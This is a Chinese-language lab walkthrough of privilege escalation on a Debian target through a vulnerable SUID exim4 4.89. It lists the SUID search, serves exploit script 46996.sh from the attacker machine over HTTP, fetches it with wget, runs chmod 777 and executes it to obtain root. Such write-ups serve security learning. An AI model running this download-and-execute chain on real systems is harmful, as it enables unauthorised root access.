環境:
攻擊機:192.168.110.128,kali 2020
目標機:192.168.110.131,Debian 4.9.51-1,已拿到shell
提權流程:
1、這裏主講提權,shell如圖:
2、首先看看有沒有 SUID
權限的可執行二進制文件,命令如下:
find / -type f -perm -u=s 2>/dev/null
發現exim4在使用時具有root權限,這可能是一個突破口(SUID可以讓調用者以文件擁有者的身份運行該文件,所以我們利用SUID提權的思路就是運行root用戶所擁有的SUID的文件,那麼我們運行該文件的時候就得獲得root用戶的身份了。)
3、在目標機上查閱exim4版本
exim4 --version
4、在攻擊機上查詢exim版本相關漏洞
發現一個含4.89版本的提權漏洞
5、看下腳本的利用方式,裏面介紹了有兩個使用方式
6、把提權腳本下載到目標機,這裏我通過python在攻擊機上開放了http服務,然後用wget下載到了目標機上
攻擊機:
python -m SimpleHTTPServer 8000
目標機:
wget http://192.168.110.128:8000/46996.sh
這裏要注意先cd到/tmp目錄下,不然會提示權限不足
7、給腳本提升權限
chmod 777 46996.sh
8、執行提權命令
./46996.sh -m setuid
# 提權失敗
./46996.sh -m netcat
# 提權成功
注:這裏執行腳本可能會報錯:bash: ./46996.sh: /bin/bash^M: bad interpreter: No such file or directory,這是因爲腳本文件的格式引起的,只需把其結束符替換就可,執行:sed -i -e 's/\r$//' 46996.sh
參考鏈接: